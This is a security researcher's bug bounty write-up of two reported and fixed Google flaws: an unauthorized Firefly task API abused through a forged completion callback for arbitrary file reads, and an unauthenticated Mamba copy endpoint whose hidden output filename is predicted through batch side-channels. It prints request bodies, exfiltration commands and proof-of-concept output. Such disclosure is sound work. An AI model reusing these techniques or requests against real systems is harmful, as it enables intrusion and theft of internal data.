# Breaking into Google's GFile for $100k

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# Breaking into Google's GFile for $100k



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# Breaking into Google's GFile for $100k

> Since reporting the vulnerabilities outlined in this post, I've joined Google as a Security Engineer. The research I describe here was conducted & written before my employment. Google has since resolved the issues, and their investigation confirmed that no malicious exploitation occurred and no customer data was accessed.

In my previous write-up, I detailed how I leveraged AI to scan discovery documents at scale across Google's infrastructure, finding numerous bugs in the process. Following that release, I anticipated that this surface would be highly scrutinized, so I wanted to look for a new approach.

I realized that internally Google API endpoints are defined as RPCs, and many of them don't necessarily have custom HTTP mappings, so they never actually appear in discovery documents. Even without HTTP mappings, these RPCs can still be reached through the generic RPC route:

```
/$rpc/<fully-qualified-service-name>/<method>
```

An example of this is:

```
/$rpc/google.internal.play.movies.firefly.avails.v1.AvailService/ListAvails
```

Knowing this, I wanted to specifically target this surface since it likely wasn't looked at as much as discovery documents. Without a discovery document, I had to use alternative methods to leak the endpoint parameters (protobuf), such as req2proto.

As a result of this effort, one of the APIs my AI tooling alerted me about was `firefly-pa.googleapis.com`. It contained a large number of admin RPCs for managing YouTube TV/Film partner records tied to Content Manager accounts. These are highly sensitive accounts due to the rights-management actions they can perform on YouTube such as striking or monetizing arbitrary videos. And, as it turned out, there were no authorization checks here whatsoever.

## Dumping every partner's CMS records

Using RPCs in this API, it was possible to dump any studio record. These contained internal contact info, Content Manager emails, and internal notes (which even contained plaintext passwords):

**Request**

```
POST /$rpc/google.internal.play.movies.firefly.backdraft.v2.StudioManagement/GetStudio?
alt=json HTTP/2
Host: firefly-pa.clients6.google.com
Cookie: <REDACTED>
Authorization: <REDACTED>
X-Goog-Api-Key: <REDACTED>
Origin: https://partnerdash.google.com
Content-Type: application/x-protobuf

<REDACTED>
```

Decoded body: `{1: studio_id="<REDACTED>"}`

**Response**


```
{
  "studioId": "<REDACTED>",
  "displayName": "<REDACTED>",
  "hellboyId": "<REDACTED>",
  "flareId": "1",
  "searchLabel": "<REDACTED>",
  "primaryInternalContact": "playsupport-moviestv",
  "externalContacts": [
    {
      "email": "<REDACTED>",
      "contactRole": "<REDACTED>",
      "contentType": "CONTENT_TV",
      "regions": ["APAC"],
      "countries": ["AU"],
      "name": "<REDACTED>",
      "preferredLanguage": "LANG_EN_AU"
    },
    ...
  ],
  "notes": "New Salesforce Alias: <REDACTED>@google.com, <REDACTED>@google.com
<REDACTED>@google.com
PO <REDACTED>

My <REDACTED> Files (<REDACTED>) access: https://<REDACTED>/login  <REDACTED>@google.com,
password: <REDACTED> ..."
}
```


The same missing authorization checks applied throughout the API. It was possible to list millions of avails and ingestion jobs, dump transaction/order records belonging to other

partners, and modify or delete their avails, prepared avails, and transactions.

## The job that never ran

However, what stood out to me the most was the following set of RPCs:

```
TaskManagerService
  CreateJob
  GetJob
  GetJobStatusLog
  GetTask
  GetTaskStatusLog
  GetTaskExecutionResult
  RestartTask
  NotifyTaskExecutionResult
```

Looking at `/TaskManagerService.CreateJob`, it seemed to allow for a `copyFileTask` that took in a user-supplied Bigstore/Blobstore path and copied it to another user-supplied Bigstore/Blobstore path:

```
message CopyFileTask {
  string task_id = 3;
  FileIdentifier src_file = 1;
  FileIdentifier dest_file = 2;
  bool overwrite = 4;
}

message FileIdentifier {
  oneof identifier_oneof {
    BigstoreIdentifier bigstore_identifier = 1;
    BlobstoreIdentifier blobstore_identifier = 2;
  }
}
```

From other RPCs on this API, I noticed some potentially sensitive internal Bigstore paths like `/bigstore/ypc-archive/package/<REDACTED>/resources/<REDACTED>.xml`. If I could copy one of these files to my own GCS bucket, I would be able to read it.

> Bigstore is the internal name for Google Cloud Storage (GCS)

Initially, I tried creating a single job to copy a target file to my own bucket. `CreateJob` accepted this and returned server-assigned IDs for both tasks, but the job was always stuck in the `NEW` state. I noticed that in the `CreateJobRequest` you could specify “dependent tasks”, maybe if I configured it, it would execute my main task?

```
message Job {
  string job_id = 1;
  JobClientInfo client_info = 5;
  repeated Task tasks = 2;
  repeated Dependency dependencies = 3;
  ExecutionStatus job_status = 4;
}

message Dependency {
  repeated string in_task_names = 1;
  repeated string in_task_ids = 3;
  string out_task_name = 2;
  string out_task_id = 4;
}
```

I created a job with two tasks. `dummy` performed a harmless copy inside my own bucket, while `exfil` copied the target file to that bucket. The dependency meant `exfil` would only run after `dummy` completed:

```
{
    "job": { "clientInfo": {"client":"JOB_CLIENT_ASSET_MANAGER","clientId":"vrp"},
    "tasks": [
        {
            "taskName":"dummy",
            "copyFileTask": {
                  "srcFile":{"bigstoreIdentifier":{"filePath":"/bigstore/my-public-
writeable-vrp-bucket/poc/pred.txt"}},
                  "destFile":{"bigstoreIdentifier":{"filePath":"/bigstore/my-public-
writeable-vrp-bucket/poc/pred.txt"}},
                  "overwrite":true
                }
        },
        {
            "taskName":"exfil",
            "copyFileTask": {
                  "srcFile":{"bigstoreIdentifier":{"filePath":"/bigstore/ypc-
archive/package/example"}},
                  "destFile":{"bigstoreIdentifier":{"filePath":"/bigstore/my-public-
writeable-vrp-bucket/poc/exfil.xml"}},
                  "overwrite":true
                }
        }
    ],
    "dependencies": [ {"inTaskNames":["dummy"],"outTaskName":"exfil"} ] }
}
```


**Response**


```
{
    "jobId": "2030d1a000000000",
    "tasks": [
        {"taskName":"dummy","copyFileTask":{"taskId":"a030d1a000000000"}},
        {"taskName":"exfil","copyFileTask":{"taskId":"6030d1a000000000"}}
    ]
}
```


It was still stuck in the `NEW` state. No matter what I did, it stayed there. If I tried to hit `RestartTask`, it would return an internal server error without actually executing anything.

Looking at the list of RPCs, it was clear that `TaskManagerService` was some sort of internal service called by other services like `AssetManagerService`, and maybe there was something I was missing to actually execute the jobs. I couldn't find much surface for invoking

arbitrary tasks via `AssetManagerService` either, so this was a dead end. At this point, I submitted the report to Google VRP with everything I had so far.

## Getting out of NEW

Around a day later, I decided to give it another go and let my AI tooling see if it could figure out a way to execute the task.

It noticed that `NotifyTaskExecutionResult` was a callback used by workers to report that a task had finished, but it didn't verify that the caller was the worker assigned to that task. Since `exfil` depended on `dummy`, I could call the RPC myself and falsely report the server-assigned `dummy` task as `STATUS_COMPLETE_SUCCESS`:

```
{
  "taskId": "a030d1a000000000",
  "status": {"status": "STATUS_COMPLETE_SUCCESS"},
  "copyFileTaskExecutionResult": {
    "destFiles": {
      "bigstoreIdentifier": {
        "filePath": "/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt"
      }
    }
  }
}
```

The scheduler trusted the forged callback, marked `dummy` as complete, and dispatched the dependent `exfil` task to the real production backend.

The task ran, but the file didn't stay in my storage bucket. As I kept retrying the request, I noticed something odd: it would create the file, then delete it right after. I wrote a quick script to race this and was able to exfiltrate the file:

```
curl 'https://storage.googleapis.com/my-public-writeable-vrp-bucket/poc/exfil.xml'
# HTTP 200  (2,270,337 bytes)
# <?xml version="1.0" encoding="UTF-8"?>
# <DolbyLabsMDF xmlns="http://www.dolby.com/schemas/dvmd/4_0_2"> ...
```

I later found an even cleaner approach: By only allowing `allUsers` to read and upload to the bucket, while disallowing deletion, I didn't even need to race it. The backend couldn't delete the file afterwards.

## Bigstore in name only

Reading bigstore was interesting, but I wanted to see if there was more impact possible here through accessing other services. Internally at Google, there's a file library called

GoogleFile (GFile). It provides a common interface over different storage systems, with a FileFactory selecting the actual backend based on the path prefix. This means the same copy function can operate on numerous Google internal systems/protocols such as Bigstore (internal name for Google Cloud Storage), Blobstore, CNS (Colossus), Chubby, or even the borgtask's local filesystem, as long as that FileFactory is linked into the binary.

In the task completion response in the preceding section, the bigstoreIdentifier used the `/bigstore/` path prefix. What if we changed the prefix to something else? The bigstoreIdentifier field could be a misnomer, and if `copyFileTask` passed the user-supplied string directly into GFile, changing the prefix could decide what the backend actually accessed.

I tested a few prefixes, and **it worked**:

| **FileFactory** | **Response** | | | `/bigstore/` | Empty bucket name | | | `/blobstore/` | Invalid path | | | `/cns/` | unable to parse path: invalid cell name: ; '/cns/'; Open on /cns/ | | | `/ls/` | LockService OpenExisting error: /ls: access denied | | | `/cfs/` | unable to parse path: invalid file factory prefix: /cfs; Open on /cfs/ | | | `/cfs2/` | unable to parse path: invalid file factory prefix: /cfs2; Open on /cfs2/ | | | `/namespace/` | /namespace/: Invalid name space path/pattern: /namespace/; NamespaceFileFactory::Open | | | `/ffs/` | Unexpected faultyfs prefix: /ffs | | | `/readahead/` | Malformatted /readahead path: /readahead/ | | | `/memfile/` | File not found: /memfile/ | | | `/google_src/head/` | FileFactory '//file/google_src' not found while resolving path '/google_src/head'. The application has not been linked against the '//file/google_src' library or InitGoogle() has not been called yet. | |

Note: In order to use a FileFactory, its implementation had to be linked into the binary. In this case, `/google_src/head/` wasn't.

## Reading and writing the borgtask

The interesting thing about GFile is that it can also operate on local files. To test if this was actually running directly on borg, I supplied `/etc/passwd.borg` as the source path and copied it to my bucket. Turns out it was:

```
<redacted>:x:2501:5000::/user/<redacted>:/bin/bash
<redacted>:x:2503:5000::/user/<redacted>:/bin/bash
<redacted>:x:2527:5000::/user/<redacted>:/bin/bash
...
```

This file was massive with millions of lines, including the LDAP of every Googler.

Once you reach the borgtask, that means there's no sandbox/isolation layer like GVisor and you've already reached the filesystem of the actual server running. I could also write arbitrary files to the borgtask by swapping the source and destination. I tested this by writing `/tmp/poc.txt` with `brutecat was here`.

### Resolving Google through Chubby

Chubby is Google's distributed lock and naming service. Internal systems use it to coordinate with each other and store small bits of metadata, including where services can be found. GFile makes Chubby queryable through `/ls/<cell>/...` paths. A cell is a separate Chubby instance that usually serves one data center. Since Chubby was enabled on GFile, I tested a limited set of queries to see how Chubby is used internally to resolve Borg Name Service (BNS) addresses.

Internally, Google services are reachable through GSLB addresses (e.g. hr.corp.googleapis.com is served at `blade:corp-hr-api`), which are leaked externally in some places. Using a leaked copy of `java/com/google/loadbalancer/rpc/GslbChannelPicker3.java` (from decompiling some binaries Google published), we can compute the fallback Chubby query for `blade:apphosting-stubbyproxy`: `/ls/ce/loadbalancer/fallback/924/blade_apphosting-stubbyproxy`, which when queried returns:

```
/bns/ce/borg/ce/bns/app-engine-inbound-stubby-proxy/prod-global.inbound-stubby-proxy:spp
/bns/lcscld/borg/lcscld/bns/app-engine-inbound-stubby-proxy/prod-global.inbound-stubby-proxy:spp
```

If we query a BNS address like `/ls/qk/borg/qk/bns/apps-drive-genoa-server/prod-stripe10.genoa-server/0` (`0` being task ID 0 and `qk` being an example cell), it returned the IPv6 addresses for that borgtask.

**Impact**

`GetTaskStatusLog` showed that the copy executed as `play-movies-encoding@system.gserviceaccount.com`, allowing access to any linked GFile backend, including Bigstore (Google Cloud Storage), Blobstore, CNS (Colossus, this is the foundational storage system used by most Google services), and Chubby, pretty much full read on Google's scalable storage system as this production identity. I informed Google about the escalation, and the report was quickly updated to P0.

I thought that would be the end of my GFile research. But no: three days later, I found another issue.

## A copy primitive with no output

I had known about `staging-mamba-backend.sandbox.googleapis.com` for some time. It exposed an unauthenticated `/v1/process` endpoint that accepted a user-supplied `refFilename` and copied it into a temporary CNS directory used by the Mamba UI's frame-metrics pipeline.

Supplying a file that the backend couldn't read returned an extremely verbose error:

**Request**

```
POST /v1/process HTTP/2
Host: staging-mamba-backend.sandbox.googleapis.com
Content-Type: application/json

{"refFilename":"/etc/shadow"}
```

**Response**

```
{
  "error": "Copying /etc/shadow to /cns/iu-d/home/video-pipeline-
metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-
8e5eb16870b.borgtask.google.com-151cc3-1243617-2fcfc29258853-656ebf3e9ce1d failed with
error: open failed for /etc/shadow: Permission denied"
}
```

This leaked the full destination path. The output was written under:

```
/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/
```

The destination immediately looked suspicious. It was a shared `frame_metrics_tmp_dir` with a seven-day TTL, there was no user or tenant identifier anywhere in the path, and the filename wasn't a UUID. The directory was probably globally readable to unprivileged CNS callers so other parts of the pipeline could consume the temporary files. We later confirmed that this assumption was correct.

The filename also looked deterministic rather than random. Every section appeared to be runtime metadata from the borgtask that handled the request:

```
tempfile-<borg-host>-<tid>-<pid>-<cycle>-<wall>
```

If the source file existed and the copy succeeded, however, the endpoint returned nothing useful:

```
HTTP/2 200 OK
Content-Type: application/json

{}
```

So `/etc/passwd` could be successfully copied into CNS, but the response hid the generated filename. Without that filename, I couldn't read the result back.

After discovering the arbitrary GFile read bug in Firefly, this endpoint suddenly looked much more interesting. The verbose errors proved it was accepting borg-local paths and writing their contents into CNS as `video-pipeline-metrics@system.gserviceaccount.com`. If I

could recover the name of a successful copy, the Firefly primitive from the first half of this post could read it.

The only thing protecting the file was its filename.

## Pinning borgtask with `/batch`

I started looking at this with my friend Theo because we noticed that the beginning of the generated names looked very similar across requests. The borgtask hostname and process ID would repeat, while the thread ID, cycle counter, and wall-clock timestamp changed.

Separate HTTP requests could be routed to different borgtasks, which made comparing the names unreliable. Then I realized that the API also supported Google's standard `/batch` endpoint. Every subrequest inside one multipart batch was handled by the same borgtask.

That made it possible to surround one successful, hidden copy with a large number of deliberate failures:

```
before-0   -> /etc/shadow
before-1   -> /etc/shadow
before-2   -> /etc/shadow
...
target     -> /etc/passwd
...
after-0    -> /etc/shadow
after-1    -> /etc/shadow
after-2    -> /etc/shadow
```

Any reliably failing source path worked. I reused `/etc/shadow` because trying to copy it failed and leaked the generated destination filename. The target `/etc/passwd` copy succeeded and returned `{}`. Since every part ran on the same borgtask, the failures on either side leaked sibling names from the exact process that created the hidden file.

The worker IDs in those names usually formed a nearly consecutive run:

```
... 11617f, 116180, 116181, [missing], 116183, 116184 ...
```

The missing worker was a candidate for the successful target request. There could be several gaps due to other work happening in the process, so the PoC repeated the batch and retained the attempt with the fewest possible hidden workers and the narrowest timestamp range.

This gave us the stable borg host and PID, plus the likely thread ID and two chronological neighbors. The remaining problem was predicting the exact cycle counter and wall-clock timestamp.

## Predicting the hidden filename

At this point, I handed the samples and the path oracle to GPT-5.6-sol on xhigh and let it cook. It figured out how to turn the neighboring failures into a bounded search for the exact filename.

The leaked names were chronological, so the hidden request's `wall` value could be interpolated from its position between the neighboring worker IDs. The `cycle` counter moved at roughly 1,300 cycles per microsecond, letting the PoC predict it from the wall clock. Adding a small amount of jitter around both estimates produced a few million possible paths instead of an unbounded search.

There was also a convenient oracle for testing them. Supplying an existing CNS candidate path back to `/v1/process` returned `{}`, while a nonexistent path returned an error. The PoC packed candidates into parallel `/batch` requests and streamed through them until one returned `{}`.

The final process worked as follows:

- Put the real copy between dozens of failing copies in one `/batch` request.
- Parse the failures to recover the stable borg host, PID, and neighboring `(tid, cycle, wall)` samples.
- Find gaps in the nearly consecutive worker IDs and retain the batch with the narrowest search window.
- Interpolate `wall`, predict `cycle`, and generate exact candidate CNS paths with a small jitter range.
- Replay candidates through `/process` until the existing-file oracle returned `{}`.

Running it against `/etc/passwd` required no authentication:

```
$ python3 poc_mamba.py /etc/passwd
[*] Target: staging-mamba-backend.sandbox.googleapis.com/v1/process
[*] Copy input: /etc/passwd
[*] Authentication: none
[-] Batch attempt 1: dense worker run has 9 bounded gaps (limit 8); retrying
[+] Batch attempt 3: isolated 1 possible hidden worker(s): ee4bc; combined wall span
7,805 us
[+] Batch attempt 11: isolated 1 possible hidden worker(s): 116182; combined wall span
4,979 us
[*] Using best retained batch model with 4,979 us combined span
[*] Borg task: 6d1b3bec58af19f2-8e5eb168749.borgtask.google.com
[*] Process ID: 1066201
[*] Possible worker 116182: neighbors 116181/116183, wall 656e3cabf8fad..656e3cabfa320
[*] Streaming up to 8,988,980 candidates
[*] Tested 100,000 candidate paths
[*] Tested 200,000 candidate paths
[*] Tested 300,000 candidate paths
[*] Tested 400,000 candidate paths
[*] Tested 500,000 candidate paths
[*] Tested 600,000 candidate paths
[*] Tested 700,000 candidate paths
[+] Oracle hit after 771,000 candidates
[+] Verified CNS tempfile path:
/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-
6d1b3bec58af19f2-8e5eb168749.borgtask.google.com-116182-1066201-10033873e0aa9-
656e3cabfa04f
```

The supposedly hidden output path was now known exactly.

## Reading it back through Firefly

The Mamba endpoint copied the file into CNS, but it didn't expose an HTTP endpoint for downloading it. Thankfully, I had found a generic GFile reader three days earlier.

Passing the recovered path into the Firefly PoC copied the CNS object to my bucket as `play-movies-encoding`:

```
$ python3 firefly_read_poc.py \
  "/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb168749.borgtask.google.com-116182-1066201-10033873e0aa9-656e3cabfa04f"

[+] EXFILTRATED 3870 bytes
    head:
b'root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...'
```

Together, these assets would give a remote attacker arbitrary local file read as `video-pipeline-metrics`, plus access to any other GFile backend permitted to that production identity.

## Conclusion

Regarding the potential source of both of these bugs: the developers likely just needed to move a file from Bigstore or into CNS and used GFile because it was convenient. Firefly even called its protobuf field `bigstoreIdentifier`. GFile treats the beginning of a path as an instruction selecting the FileFactory implementation. Unless the caller explicitly allowlists a prefix, a user-supplied Bigstore filename can become a CNS, Blobstore, Chubby, X20, etc. or local path instead. That makes me think this bug class probably exists elsewhere throughout Google’s APIs.

## Timeline

- 2026-07-14 - Initial Firefly report sent to Google, accepted 4 hours later
- 2026-07-18 - Informed Google's security team about the Firefly GFile escalation, report updated to P0
- 2026-07-18 - Initial Mamba report sent to Google, accepted 9 minutes later
- 2026-07-24 - **Panel awards $60,000 for Firefly**. Rationale for this decision: This report was of exceptional quality! Normal Google Applications. Vulnerability category is "unrestricted file system or database access".
- 2026-07-24 - **Panel awards $37,604.40 for Mamba**. Rationale for this decision: This report was of exceptional quality! Normal Google Applications. Vulnerability category is "unrestricted file system or database access". A downgrade was applied because the issue is very difficult to exploit and exfiltration requires additional capabilities.

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